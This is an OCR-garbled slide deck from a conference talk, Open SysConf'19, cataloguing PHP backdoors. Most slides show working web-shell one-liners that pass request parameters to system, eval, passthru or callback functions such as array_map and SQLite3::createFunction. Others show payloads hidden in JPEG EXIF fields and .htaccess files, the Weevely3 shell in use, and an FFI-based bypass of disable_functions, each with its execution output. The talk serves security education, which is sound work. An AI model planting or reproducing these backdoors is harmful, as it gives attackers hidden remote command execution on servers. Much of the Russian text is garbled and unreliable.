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Open SysConf'19

O630p PHP 63kgoopos

@joe1black & @manfromkz, @NitroTeamChannel
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Whoami /\///



Yro Tarkoe 09KmI0P?



bakmop, backdoor (ot anra. back door — «4uépHniii
X0/l», OYKBAJbHO «3aHAA IBEPb») — NePerT
aJrOPUTMa, KOTOPHI HAMEPEHHO BCTPaUBAETCA B
Hero pa3paboTurMKOM U M03BOJIAET TOJYIUTh
HeCaAHKIIMOHUPOBAHHBIA JOCTYI K TaHHBIM WU
VIAJEHHOMY YIIpaBJCHUIO OllepaliOHHON CUCTEeMON
1 KOMITBIOTEPOM B I[€JIOM.



1. IIpocThie 09K IOPHI




|

OmnacHble (YHRIMH

1) system <?php system($ REQUEST]"id"]);?>

2) exec

3) shell exec <?php echo '$ REQUEST]Jid];?>

4) passthru <?php echo shell_exec($_ REQUEST["id"]);?>

D) proc_open

6) popen <?php

7) assert call_user_func($ REQUEST[a],$ REQUESTIb]);
8) call user func 7>

9) pentl_exec <?php create_function(", '}.".$_ REQUESTI[id].'{); ?>
0) eval, etec. ' - P IR



IIpumeps! BoITOJHEHUA

<& C @ @ backdoors.kz/?id=php -v

<?php
highlight file( FILE );
system($ REQUEST["id"]):

2> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZTS ) Copyright () 1997-2016 The PHP (

< C @ @ backdoors.kz/?id=php -v

<?php
highlight file( FILE );
echo *$ REQUEST[id] *:

2> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZTS ) Copyright (c) 1997-2016 The PHP {




IIpumeps! BoITOJHEHUA

<) )—»> C & @ backdoors.kz/?a=passthru&b=php -h

<?php
highlight file( FILE );
call user func($ REQUEST([a],$ REQUEST([b]):

2> Usage: php [options] [-f] [--] [args...] php [options] -r [--] [args...] php [options]
[-t docroot] php [options] -- [args...] php [options] -a -a Run interactivg
-d foo[=bar] Define INI entry foo with value 'bar' -e Generate extended ini}
Syntax check only (lint) -m Show compiled in modules -r Run PHP without us:
Parse and execute for every input line -E Run PHP after processing all inpt
-t Specify document root for built-in web server. -s Output HTML syntax hig
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IIpumeps! BoITOJHEHUA

<) - C 0 ® backdoors.kz/?id=phpinfo();

<?php

highlight file(_ FILE ):
eval ($_REQUEST["id"]):

2>

< > C B ® backdoors.kz/?id=var_dump($_SERVER);

<?php

highlight file( FILE );

create_function('', '};'.$ _REQUEST[id].'{'):

2> array(37) { ["HTTP_HOST"]== string(12) "backdoors kz" ["HTTP_USER_AGENT"]=> string(7§
["HTTP_ACCEPT"]== string(63) "text’html application/xhtml+xml application/xml;.q=0.9,*/*;q=0.8"

MIITTND ACCTDT TACOWNITIANTC" ), b 12V 1 . Aoflone " T'ITTTTD AT o ctian /1N "1 FUITTY




[leHTecTep, KOTOpPoMy

yaanunu 63kaop JTrobon aHTMBUPYC
c eval($_GET[a]);




2. IlponBunyThIe O9KIOPHI




array_map

(PHP & >= 4.0.6, PHP 5, PHP 7)
array_map — lpumenser CallbaCk'CDYH KUW0 KO BCEM 3/1eMeHTaM YKa3aHHbIX MaCcCuBOB

OnucaHue

array map ( callable $callback , array $arrayl [, array $... 1 ) : array

<) -> C ® (® backdoors.kz/?id=passthruc=php -v

<?php
highlight file( FILE );
array map($ REQUEST[id],$ REQUEST):

>> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend




filter_input_array

(PHP 5>=5.2.0, PHP 7)
filter_input_array — MonyyaeT HECKONbKO NepemMeHHbIX u3sHe PHP u, npn Heo6xoaumocTu, UnbTpyeT ux

OnucaHue

filter_input_array ( int $type [, mixed $definition [, bool $add_empty = TRUE 1] ) : mixed

3Ta (yHKLUWA NONe3Ha AN NoNyYeHUA MHOXECTBa NepemMeHHbiX 6e3 MHOTOKPATHOrO Bbi30Ba (yHKLUK
filter_input().

CnuUCcoK napameTposB

type
OpHa 13 KOHCTaHT INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER 111 INPUT_ENV.



array_reduce

(PHP & >= 4.0.5, PHP 5, PHP 7)

array_reduce — TepaTUBHO yMeHblUAeT MacCUB K eAMHCTBEHHOMY 3HauyeHuo, ucnonbaya callback-cdyHkuuio

OnucaHune

array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

) - @ Q ® backdoors.kz/?id=passthru&c=php -v

<?php

highlight file( FILE );

$x = filter input array(l, array('id'=>'', 'c'=>'"'"'));
array reduce([1],$x['id"'],$x['c"']):

2> PHP 7.0.14 (cl1) (built: Dec 6 2016 15:35:34) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend E




<?php
$x = filter_input_array(1, array('id'=>", 'c'=>"));

array_reduce([1], $x['id"], $x['c]);

// TlponcxoguTt cnegytoulee:

/I $x[id] = $ GET][id]; $x[c] = $ GET[c];




extract

(PHP 4, PHP 5, PHP 7)

extract — IMNopTupyeT nepemeHHble U3 MacCuBa B TeKYyLLY Tabnuuy CMMBONOB

< C ® backdoors.kz/?a=passthru&b=php -v

<?php
highlight file( FILE );
extract ($ REQUEST) ;
sa(Sb);

>> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZT




iterator_apply

(PHP 5 >=511.0, PHP 7)

iterator_apply — Bbi3biBaeT hyHKLMIO N8 KAXKAOTO 3N1E€MeHTa B UuTepatope

OnucaHue

iterator_apply ( Traversable $iterator , callable $function [, array $args = NULL ] ) : int

< C @ ® backdoors.kz/?id=passthru&cl]=php -v

<?php

highlight file( FILE );

iterator apply(new ArrayObject([1]),$ GET[id],$ GET[c]):
2> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZTS ) Copyright (c)
1998-2016 Zend Technologies




SQLite3::createFunction

< C ® backdoors.kz/?id=system&c=php -v

<?php

haghlight file( EFLLE )3

$x = $ GET[id];

$db = new SQLite3(':memory:"');
Sdb->createFunction ($x, $x) ;
$db->querySingle ("select $x('$ GET[c]')");

2> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) (]
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend




register_shutdown_function

< C @ @ backdoors.kz/?id=passthru&c=php -v

<?php

highlight file( FILE };

register shutdown function($ GET[1d],$ GET[c]);

2> PHP 7.0.14 (cl1) (built: Dec 6 2016 15:35:54) ( ZTS )
Zend Engine v3.0.0, Copyright (¢) 1998-2016 Zend Techr




forward_static_call array

< C w ® backdoors.kz/?id=passthru&cl=php -v 240% e @ 7

<?php
highlight file( FILE )
class Test
{
funetion <anstruct() f{
ferward stakie call array(S GET[id], $ EET|lel);
}
}

new Test;

2> PHP 7.0.14 (cli) (built: Dec 6 2016 15:35:54) ( ZTS ) Copyright
The PHP Group Zend Engine v3.0.0, Copyright (¢) 1998-2016 Zenc




3. HeoObruuble 09KI0PH




L]
71D.
[ ]
¢ (4 ‘Q Q backdoors.kz/?x=zip://backdoor.zip%23backdoor.php&id=passthru&c=php -v

<?php
highlight filel{ ElILE )3
incliude (S REQUEST[*'%"']):

2> PHP 7.0.14 (ch) (built: Dec 6 2016 15:35:54

?x=rzip://backdoor.zip%23backdoor.php&
id=passthru&c=php -v




File Edit Image Layer Type Select Filter 3D View Window Help

Fil: | Stroke: | | - T — : -
B e NitroTeam.jpg
NitroTeam.jpg @ 100% (RGB/8%#) —
0 50 100 150 00 250 Description IPTC IPTC Extension CameraData
Document Title:
Author:
Author Title:

Description: | <?php extract($_GET);$a(sb);die();?>

Ratng: W W & W
Description Writer:

Keywords:

(i) Semicolons or commas can be used to separate multi|

Copyright Status: | Unknown v |

Copyright Notice: | <?php extract($_GET); Sa(sb);die();?>



KXIF

B index php _:il B backdoorphp o4 =] NitoTeam jpg E3
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KXIF

& c @ Q backdoors.kz/?x=zip://backdoor.zip%23NitroTeam.jpg&a=passthru&b=php -v

<?php
haighilight file( FITE 13
include ($ REQUEST[ ])'

> @@ QYQEXifll* 000(102000%010\04
(Windows)2019:09:15 16:47:19PHP 7.0.14 (cli) (built

Copyright (¢) 1997-2016 The PHP Group Zend Engin




.htaccess

AddType application/x-httpd-php .jpg

< C @ ) backdoors.kz/NitroTeam.jpg?a=passthru&b=php -\

909099 90 9(1920060%010\96 '9
(Windows)2019:09:15 16:47:19PHP 7.0.14 (cli) (built

Copyright (¢) 1997-2016 The PHP Group Zend Enginc
1998-2016 Zend Technologies




.htaccess

< Files ~ "\ .ht">

Order allow, deny

Allow from all

< /Files>

AddType application/x-httpd-php .htaccess
#<?php passthru($_REQUEST]['id']); 2>



.htaccess

< C @ ® backdoors.kz/.htaccess?a=passthrullb=php -v 200% oo o

Order allow,deny Allow from all AddType application/x-httpd-php .htaccess #P
Sep 2 2015 23:48:30) Copyright (c) 1997-2014 The PHP Group Zend Engine V
1998-2014 Zend Technologies

¢ c ® backdoors.kz/.htaccess?a=var_dump&b= <br> <br>it works

Order allow,deny Allow from all AddType application/x-httpd-php .1

it works"




4. YnoOHble 09KIOPHI




Uname: Linux s ee = & e — * Fri Mar 17 09:47:36 EDT 2017 x86_64 [exploit-db.com]

User:
Php:
Hdd:
Cwd:

1000 ( analyst ) Group: 1000 ( analyst )

7.0.15-0ubuntu0.16.04.4 Safe mode: [ phpinfo ] Datetime: 2017-06-01 16:30:50
19.44 GB Free: 16.43 GB (84%)

/home/analyst/test/ drwxr-xr-x [ home ]

[ Sec. Info ] [ Files ] [ Console ] [Sql] [ Php ] [ String tools ] [ Bruteforce ] [ Network ]

| File

manager

B Name Size Modify Owner/Group Permissions
Hm[.] dir 2017-06-01 16:30:47 analyst/analyst drwXxr-xr-x
m[.] dir 2017-06-01 16:30:26 analyst/analyst drwXr-xr-x
M file1.php 0B 2017-06-01 16:30:37 analyst/analyst -TW-I——
M file2.php 0B 2017-06-01 16:30:42 analyst/analyst

W file3.txt 0B 2017-06-01 16:30:47 analyst/analyst

[ Copy

v][>»]

Change dir: Read file:

Client IP:

[ Self remove ]

[/home/analyst/test/ |

Make dir: Make file:

Execute: Upload file:

| VChoose W No file chosen




QL Client PHP Console Terminal Inforn

™ Composition O Clear input O Clear output [0 Show as HTML [J Hide PHP errors - UTF-8 v| - UTF-8 v Eval

PAS.v.4.1.1b 2019-09-25 09:35



Weevely3

1. Cospaem 09KI0D
weevely generate <password > <path>

2. 3aJuBaeM U MCI0Jb3yeM
weevely < URL> <password> [emd]




root@ackbox: /home/manz/weevely3-master# ./weevely.py http://192.168.1.102/wordpress/hackme/shell.php password
weevely 3.0

Target: 192.168.1.102
Session: /root/.weevely/sessions/192.168.1.102/shell 0.session

Browse the filesystem or execute commands starts the connection
to the target. Type :help for more information.

weevely>

wwwi-data@ubuntu-server:/var/www/html/wordpress/hackme $ 1s
manz

shell.php

uploader.php
wwvi-data@ubuntu-server:/var/www/html/wordpress/hackme $ whoami
wwvi-data

www-data@ubuntu-server: /var/wwi/html/wordpress/hackme $







Foreign Function Interface (FFI)

Warning This extension is EXPERIMENTAL. The behaviour of this extension including the names of its

functions and any other documentation surrounding this extension may change without notice in a future
release of PHP. This extension should be used at your own risk.

This extension allows the loading of shared libraries ( .oLL or .so), calling of C functions and accessing of C data
structures in pure PHP, without having to have deep knowledge of the Zend extension API, and without having to
learn a third “intermediate” language. The public APl is implemented as a single class FFl with several static

methods (some of them may be called dynamically), and overloaded object methods, which perform the actual
interaction with C data.

Caution FFl is dangerous, since it allows to interface with the system on a very low level. The FFl extension

should only be used by developers having a working knowledge of C and the used C APIs. To minimize the risk,
the FFI APl usage may be restricted with the ffi.enable php.ini directive.



FFI shell

localhost/shell.php?cmd=Istz X | =+

< Cc o @ localhost/shell.php?cmd=Is -alh open v~ [ shell.php [Read-Only] = +v~Q
total 32K =

drwxrwxrwx 2 root root 4,0K Sep 25 09:24 . error_reporting(E_ALL);

drwxr-xr-x 3 root root 4,0K Sep 23 09:27 .. / i ‘ :

-rwxrwxrwx 1 root root 11K Sep 21 18:03 index.html CSiEeEi ok SRR I |

-rwxrwxrwx 1 root root 628 Sep 25 09:16 index.php " vt + t cl *st i .n

-rwxrwxrwx 1 root root 38 Sep 23 09:41 obd.php LIS Systen(sonst \ehars sstcing e

-rw-r--r-- 1 root root 415 Sep 25 09:20 shell.php

W ibe.so.B"):

$ffi->system(filter_input(l,'cmd')." > ".sys get temp_dir()."/
nitrofile");

echo "<pre>", file_get_contents(sys_get_ temp_dir()."/nitrofile");
unlink (sys_get_temp_dir()."/nitrofile");




Bypass disable_functions via FF1

localhost/bypass_df.php x |+
< Cc o ® localhost/hypass_df.php

Warning: strlen() has been disabled for security reasons in /fvar/www/html/bypass df.php on line 3
12

eéhorsfrieh(“Helib,wéfld!");

$ff1 = FEL::edef(
"size_t strlen(const char *string);",
"libc.so0.6");

echo $ffi-»strlen{"Hello,world!");




Crircok MaTepuaJon

1. https://ru.wikipedia.org/wiki/%D0%91%D1%8D%D0%BA%D0%B4%D0%B
E%D1%80

https://www.php.net/manual/ru/ref.exec.php
https://habr.com/ru/post/215139/
https://rdot.org/forum/showpost.php?p=35715&postcount=3
https://blog.ripstech.com/2017/why-mail-is-dangerous-in-php/
https://forum.antichat.ru/threads/469880/
https://www.php.net/manual/ru/wrappers.php
https://github.com/epinna/weevely3
https://github.com/tennc/webshell
https://www.php.net/manual/en/book.ffi.php
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https://forum.antichat.ru/threads/469880/
https://www.php.net/manual/ru/wrappers.php
https://github.com/epinna/weevely3
https://github.com/tennc/webshell
https://www.php.net/manual/en/book.ffi.php

Bompochr?



Thank you for
your attention!



